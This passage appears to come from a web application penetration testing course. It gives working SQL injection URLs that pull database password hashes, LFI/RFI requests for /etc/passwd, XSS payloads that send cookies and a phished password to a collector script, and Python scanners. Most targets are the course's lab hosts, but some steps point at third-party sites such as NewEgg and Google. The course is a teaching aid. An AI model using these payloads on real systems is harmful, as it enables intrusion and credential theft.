  1088. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  1089.  
  1090.  
  1091. Use a cheat sheet for syntax:
  1092. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  1093.  
  1094. ---------------------------Type This-----------------------------------
  1095.  
  1096. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  1097.  
  1098. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  1099.  
  1100. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  1101.  
  1102. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  1103.  
  1104.  
  1105. https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  1106.  
  1107. -----------------------------------------------------------------------
  1108.  
  1109.  
  1110.  
  1111. ########################
  1112. # Question I get a lot #
  1113. ########################
  1114. Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
  1115.  
  1116. Here is a good reference for it:
  1117. https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
  1118.  
  1119. Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
  1120.  
  1121.  
  1122.  
  1123.  
  1124. #########################
  1125. # File Handling Attacks #
  1126. #########################
  1127.  
  1128. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  1129.  
  1130. ---------------------------Type This-----------------------------------
  1131.  
  1132. https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt
  1133.  
  1134. -----------------------------------------------------------------------
  1135.  
  1136.  
  1137. See if you can read files on the file system:
  1138. ---------------------------Type This-----------------------------------
  1139.  
  1140. https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd
  1141. -----------------------------------------------------------------------
  1142.  
  1143. We call this attack a Local File Include or LFI.
  1144.  
  1145. Now let's find some text out on the internet somewhere:
  1146. https://www.gnu.org/software/hello/manual/hello.txt
  1147.  
  1148.  
  1149. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  1150.  
  1151. ---------------------------Type This-----------------------------------
  1152.  
  1153. https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt
  1154. -----------------------------------------------------------------------
  1155.  
  1156. #########################################################################################
  1157. # SQL Injection #
  1158. # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx #
  1159. #########################################################################################
  1160.  
  1161.  
  1162. - Another quick way to test for SQLI is to remove the paramter value
  1163.  
  1164.  
  1165. #############################
  1166. # Error-Based SQL Injection #
  1167. #############################
  1168. ---------------------------Type This-----------------------------------
  1169.  
  1170. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  1171. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  1172. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  1173. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  1174. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  1175. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  1176. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  1177. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  1178. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  1179.  
  1180. -----------------------------------------------------------------------
  1181.  
  1182.  
  1183.  
  1184. #############################
  1185. # Union-Based SQL Injection #
  1186. #############################
  1187.  
  1188. ---------------------------Type This-----------------------------------
  1189.  
  1190. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100--
  1191. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50--
  1192. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25--
  1193. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10--
  1194. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5--
  1195. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6--
  1196. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7--
  1197. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8--
  1198. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9--
  1199. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  1200. -----------------------------------------------------------------------
  1201.  
  1202. We are using a union select statement because we are joining the developer's query with one of our own.
  1203. Reference:
  1204. http://www.techonthenet.com/sql/union.php
  1205. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  1206. It removes duplicate rows between the various SELECT statements.
  1207.  
  1208. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  1209.  
  1210. ---------------------------Type This-----------------------------------
  1211.  
  1212. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  1213. -----------------------------------------------------------------------
  1214.  
  1215. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  1216.  
  1217. ---------------------------Type This-----------------------------------
  1218.  
  1219. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  1220. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  1221. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  1222. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  1223.  
  1224. -----------------------------------------------------------------------
  1225.  
  1226.  
  1227.  
  1228.  
  1229. - Another way is to see if you can get the backend to perform an arithmetic function
  1230.  
  1231. ---------------------------Type This-----------------------------------
  1232.  
  1233. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2)
  1234. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2)
  1235. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1)
  1236.  
  1237.  
  1238.  
  1239. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1--
  1240. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2--
  1241. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1
  1242. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1#
  1243. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99#
  1244. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1#
  1245. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3--
  1246. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0#
  1247.  
  1248.  
  1249.  
  1250. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1--
  1251. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2--
  1252. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1--
  1253. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  1254.  
  1255. -----------------------------------------------------------------------
  1256.  
  1257.  
  1258. ###############################
  1259. # Blind SQL Injection Testing #
  1260. ###############################
  1261. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1262.  
  1263. 3 - Total Characters
  1264. ---------------------------Type This-----------------------------------
  1265.  
  1266. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1267. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1268. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1269. -----------------------------------------------------------------------
  1270.  
  1271. Let's go for a quick check to see if it's DBO
  1272.  
  1273. ---------------------------Type This-----------------------------------
  1274.  
  1275. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1276. -----------------------------------------------------------------------
  1277.  
  1278. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1279.  
  1280. ---------------------------Type This-----------------------------------
  1281.  
  1282. D - 1st Character
  1283. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1284. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1285. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  1286. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  1287.  
  1288. B - 2nd Character
  1289. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1290. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1291.  
  1292. O - 3rd Character
  1293. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1294. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  1295. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1296. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1297. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  1298. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  1299. https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  1300.  
  1301. -----------------------------------------------------------------------
  1302.  
  1303.  
  1304.  
  1305.  
  1306.  
  1307.  
  1308.  
  1309. ################################
  1310. # Playing with session cookies #
  1311. ################################
  1312.  
  1313. -----------------------------------------------------------------------
  1314. Step 1: Browse to the shopping cart page NewEgg.com
  1315. -------------------Browse to this webpage in Firefox------------------------------
  1316. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1317. ----------------------------------------------------------------------------------
  1318.  
  1319.  
  1320.  
  1321. Step 2: View the current session ID
  1322. ---Type this over the shopping car URL in the address bar (don't paste it )---------
  1323. javascript:void(document.write(document.cookie))
  1324. ------------------------------------------------------------------------------------
  1325.  
  1326. You should see your session cookie and if you don't try again in a different browser
  1327.  
  1328.  
  1329.  
  1330. Step 3: Go back to the shopping cart page (click the back button)
  1331. ---------------------------------------------------------------------------------
  1332. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1333. ---------------------------------------------------------------------------------
  1334.  
  1335.  
  1336. Step 4: Now let's modify the session ID
  1337. ---Type this over the shopping car URL in the address bar (don't paste it )---------
  1338. javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
  1339. ------------------------------------------------------------------------------------
  1340.  
  1341.  
  1342.  
  1343. Step 5: Go back to the shopping cart page (click the back button)
  1344. ---------------------------------------------------------------------------------
  1345. https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
  1346. ---------------------------------------------------------------------------------
  1347.  
  1348.  
  1349.  
  1350. Step 6: View the current session ID
  1351. ---Type this over the shopping car URL in the address bar (don't paste it )---------
  1352. javascript:void(document.write(document.cookie))
  1353. ------------------------------------------------------------------------------------
  1354.  
  1355. -----------------------------------------------------------------------
  1356.  
  1357. #########################################################
  1358. # What is XSS #
  1359. # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
  1360. #########################################################
  1361.  
  1362. OK - what is Cross Site Scripting (XSS)
  1363.  
  1364. 1. Use Firefox to browse to the following location:
  1365. ---------------------------Type This-----------------------------------
  1366.  
  1367. https://phpapp.infosecaddicts.com/xss_practice/
  1368. -----------------------------------------------------------------------
  1369.  
  1370. A really simple search page that is vulnerable should come up.
  1371.  
  1372.  
  1373.  
  1374.  
  1375. 2. In the search box type:
  1376. ---------------------------Type This-----------------------------------
  1377.  
  1378. <script>alert('So this is XSS')</script>
  1379. -----------------------------------------------------------------------
  1380.  
  1381.  
  1382. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  1383. Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
  1384.  
  1385.  
  1386. 3. In the search box type:
  1387. ---------------------------Type This-----------------------------------
  1388.  
  1389. <script>alert(document.cookie)</script>
  1390. -----------------------------------------------------------------------
  1391.  
  1392.  
  1393. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  1394. Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
  1395.  
  1396. 4. Now replace that alert script with:
  1397. ---------------------------Type This-----------------------------------
  1398.  
  1399. <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  1400. -----------------------------------------------------------------------
  1401.  
  1402.  
  1403. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  1404.  
  1405.  
  1406. 5. Now view the stolen cookie at:
  1407. ---------------------------Type This-----------------------------------
  1408.  
  1409. https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
  1410. -----------------------------------------------------------------------
  1411.  
  1412.  
  1413. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  1414.  
  1415.  
  1416.  
  1417.  
  1418.  
  1419.  
  1420. ############################
  1421. # A Better Way To Demo XSS #
  1422. ############################
  1423.  
  1424.  
  1425. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  1426.  
  1427.  
  1428. Use Firefox to browse to the following location:
  1429. ---------------------------Type This-----------------------------------
  1430.  
  1431. https://phpapp.infosecaddicts.com/xss_practice/
  1432. -----------------------------------------------------------------------
  1433.  
  1434.  
  1435.  
  1436. Paste this in the search box
  1437. ----------------------------
  1438.  
  1439.  
  1440. ---------------------------Type This-----------------------------------
  1441.  
  1442. <script>
  1443. password=prompt('Your session is expired. Please enter your password to continue',' ');
  1444. document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
  1445. </script>
  1446. -----------------------------------------------------------------------
  1447.  
  1448.  
  1449. Now view the stolen cookie at:
  1450. ---------------------------Type This-----------------------------------
  1451.  
  1452. https://phpapp.infosecaddicts.com/xss_practice/passwords.html
  1453.  
  1454. -----------------------------------------------------------------------
  1455.  
  1456.  
  1457.  
  1458.  
  1459.  
  1460.  
  1461.  
  1462. ################################
  1463. # Web App Testing with Python3 #
  1464. ################################
  1465.  
  1466.  
  1467.  
  1468.  
  1469. ##############################
  1470. # Bannergrabbing a webserver #
  1471. ##############################
  1472.  
  1473. ---------------------------Type This-----------------------------------
  1474. nano bannergrab.py
  1475.  
  1476.  
  1477. ---------------------------Paste This----------------------------------
  1478.  
  1479. #!/usr/bin/env python3
  1480. import sys
  1481. import socket
  1482.  
  1483. # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
  1484.  
  1485. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1486. s.connect(("45.63.104.73", 80))
  1487. s.send(("GET / HTTP/1.1\r\n\r\n").encode())
  1488.  
  1489. #Convert response to bytes
  1490. response = b""
  1491. # or use encode()
  1492. #response = "".encode()
  1493.  
  1494. while True:
  1495. data = s.recv(4096)
  1496. response += data
  1497. if not data:
  1498. break
  1499. s.close()
  1500. print(response.decode())
  1501. ----------------------------------------------------------------------
  1502.  
  1503.  
  1504. ---------------------------Type This-----------------------------------
  1505. python3 bannergrab.py
  1506. -----------------------------------------------------------------------
  1507.  
  1508.  
  1509.  
  1510. ########################################
  1511. # Testing availability of HTTP methods #
  1512. ########################################
  1513.  
  1514. A very good practice for a penetration tester is to start by listing the various available HTTP methods.
  1515. Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
  1516.  
  1517. To begin with, we need to import the requests library:
  1518.  
  1519. ---------------------------
  1520. import requests
  1521. ---------------------------
  1522.  
  1523. After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
  1524.  
  1525. ----------------------------------------------------------------------------
  1526. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  1527. ----------------------------------------------------------------------------
  1528.  
  1529. The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
  1530.  
  1531. ------------------------------------------------------
  1532. for method in method_list:
  1533. req = requests.request(method, 'https://www.google.com')
  1534. print (method, req.status_code, req.reason)
  1535. ------------------------------------------------------
  1536.  
  1537.  
  1538. ------------------------------------------------------
  1539. for method in method_list:
  1540. req = requests.request(method, 'https://www.darkoperator.com')
  1541. print (method, req.status_code, req.reason)
  1542. ------------------------------------------------------
  1543.  
  1544.  
  1545. ------------------------------------------------------
  1546. for method in method_list:
  1547. req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  1548. print (method, req.status_code, req.reason)
  1549. ------------------------------------------------------
  1550.  
  1551.  
  1552. ------------------------------------------------------
  1553. for method in method_list:
  1554. req = requests.request(method, 'http://www.dybedu.com')
  1555. print (method, req.status_code, req.reason)
  1556. ------------------------------------------------------
  1557.  
  1558.  
  1559. The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
  1560.  
  1561. -------------------------------------------------------------
  1562. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  1563. print ('Cross Site Tracing(XST) is possible')
  1564. -------------------------------------------------------------
  1565.  
  1566.  
  1567. *** Full code with example url: ***
  1568.  
  1569. ---------------------------Type This-----------------------------------
  1570. nano xst.py
  1571.  
  1572.  
  1573. ---------------------------Paste This----------------------------------
  1574. #!/usr/bin/env python3
  1575. import requests
  1576. method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
  1577. for method in method_list:
  1578. req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
  1579. print (method, req.status_code, req.reason)
  1580. if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
  1581. print ('Cross Site Tracing(XST) is possible')
  1582.  
  1583. -------------------------------------------------------------------------
  1584.  
  1585.  
  1586. After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
  1587.  
  1588.  
  1589. ---------------------------Type This-----------------------------------
  1590. python3 xst.py
  1591. -----------------------------------------------------------------------
  1592.  
  1593.  
  1594.  
  1595. ##########################################
  1596. # Foot printing by checking HTTP headers #
  1597. ##########################################
  1598.  
  1599.  
  1600. HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
  1601.  
  1602. To begin with, let us import the requests library:
  1603.  
  1604. ------------------------
  1605. import requests
  1606. ------------------------
  1607.  
  1608. We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
  1609.  
  1610. ---------------------------------------------
  1611. request = requests.get('enter the URL')
  1612. ---------------------------------------------
  1613.  
  1614. Next, we will generate a list of headers about which you need the information.
  1615.  
  1616. ---------------------------------------------------------------------------------------------------------------
  1617. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  1618. ---------------------------------------------------------------------------------------------------------------
  1619.  
  1620. Next is a try and except block.
  1621.  
  1622. ---------------------------------------------------
  1623. for header in header_list:
  1624.  
  1625. try:
  1626. result = request.headers[header]
  1627. print ('%s: %s' % (header, result))
  1628. except Exception as err:
  1629. print ('%s: No Details Found' % header)
  1630.  
  1631. ---------------------------------------------------
  1632.  
  1633.  
  1634.  
  1635.  
  1636. *** Example Full Code: ***
  1637.  
  1638. ---------------------------Type This-----------------------------------
  1639. nano headercheck.py
  1640.  
  1641.  
  1642. ---------------------------Paste This----------------------------------
  1643. #!/usr/bin/env python3
  1644. import requests
  1645. request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
  1646. header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
  1647. for header in header_list:
  1648. try:
  1649. result = request.headers[header]
  1650. print ('%s: %s' % (header, result))
  1651. except Exception as err:
  1652. print ('%s: No Details Found' % header)
  1653. ----------------------------------------------------------------------------------------------------------------
  1654.  
  1655.  
  1656. After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
  1657.  
  1658.  
  1659. ---------------------------Type This-----------------------------------
  1660. python3 headercheck.py
  1661. -----------------------------------------------------------------------
  1662.  
  1663.  
  1664. ##############################################
  1665. # Testing insecure web server configurations #
  1666. ##############################################
  1667.  
  1668. We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
  1669. ---------------------------Type This-----------------------------------
  1670. nano websites.txt
  1671.  
  1672. ---------------------------Paste This----------------------------------
  1673. https://www.google.com
  1674. https://www.cnn.com
  1675. https://foxnews.com
  1676. https://phpapp.infosecaddicts.com/
  1677. https://aspdotnetapp.infosecaddicts.com/
  1678. https://dvws1.infosecaddicts.com/
  1679. -----------------------------------------------------------------------
  1680.  
  1681.  
  1682.  
  1683.  
  1684. ---------------------------Type This-----------------------------------
  1685. nano insecure_config_check.py
  1686.  
  1687.  
  1688. ---------------------------Paste This----------------------------------
  1689. #!/usr/bin/env python3
  1690.  
  1691. # Reference: https://www.keycdn.com/blog/http-security-headers
  1692.  
  1693. import requests
  1694. urls = open("websites.txt", "r")
  1695. for url in urls:
  1696. url = url.strip()
  1697. req = requests.get(url)
  1698. print (url, 'report:')
  1699. try:
  1700. protection_xss = req.headers['X-XSS-Protection']
  1701. if protection_xss != '1; mode=block':
  1702. print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
  1703. except:
  1704. print ('X-XSS-Protection not set, it may be possible')
  1705. try:
  1706. options_content_type = req.headers['X-Content-Type-Options']
  1707. if options_content_type != 'nosniff':
  1708. print ('X-Content-Type-Options not set properly:', options_content_type)
  1709. except:
  1710. print ('X-Content-Type-Options not set')
  1711. try:
  1712. transport_security = req.headers['Strict-Transport-Security']
  1713. except:
  1714. print ('HSTS header not set properly, Man in the middle attacks is possible')
  1715. try:
  1716. content_security = req.headers['Content-Security-Policy']
  1717. print ('Content-Security-Policy set:', content_security)
  1718. except:
  1719. print ('Content-Security-Policy missing')
  1720.  
  1721. -----------------------------------------------------------------------
  1722.  
  1723.  
  1724. ---------------------------Type This-----------------------------------
  1725. python3 insecure_config_check.py
  1726. -----------------------------------------------------------------------
  1727.  
  1728.  
  1729.  
  1730.  
  1731.  
  1732.  
  1733.  
  1734.  
  1735. ---------------------------Type This-----------------------------------
  1736. nano LFI-RFI.py
  1737.  
  1738.  
  1739. ---------------------------Paste This----------------------------------
  1740.  
  1741. #!/usr/bin/env python3
  1742. print("\n### PHP LFI/RFI Detector ###")
  1743.  
  1744. import urllib.request, urllib.error, urllib.parse,re,sys
  1745.  
  1746. TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
  1747. RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
  1748. TravLimit = 12
  1749.  
  1750. print("==> Testing for LFI vulns..")
  1751. TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
  1752. for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
  1753. TARGET += "../"
  1754. try:
  1755. source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
  1756. except urllib.error.URLError as e:
  1757. print("$$$ We had an Error:",e)
  1758. sys.exit(0)
  1759. if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
  1760. print("!! ==> LFI Found:",TARGET+"etc/passwd")
  1761. break ## BREAK LOOP WHEN VULN FOUND
  1762.  
  1763. print("\n==> Testing for RFI vulns..")
  1764. TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
  1765. try:
  1766. source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
  1767. except urllib.error.URLError as e:
  1768. print("$$$ We had an Error:",e)
  1769. sys.exit(0)
  1770. if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
  1771. print("!! => RFI Found:",TARGET)
  1772.  
  1773. print("\nScan Complete\n") ## DONE
  1774. ----------------------------------------------------------------------
  1775.  
  1776.  
  1777.  
  1778.  
  1779. ---------------------------Type This-----------------------------------
  1780. python3 LFI-RFI.py
  1781. -----------------------------------------------------------------------
  1782.  
  1783.  
  1784.  
  1785.  
  1786.  
  1787. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement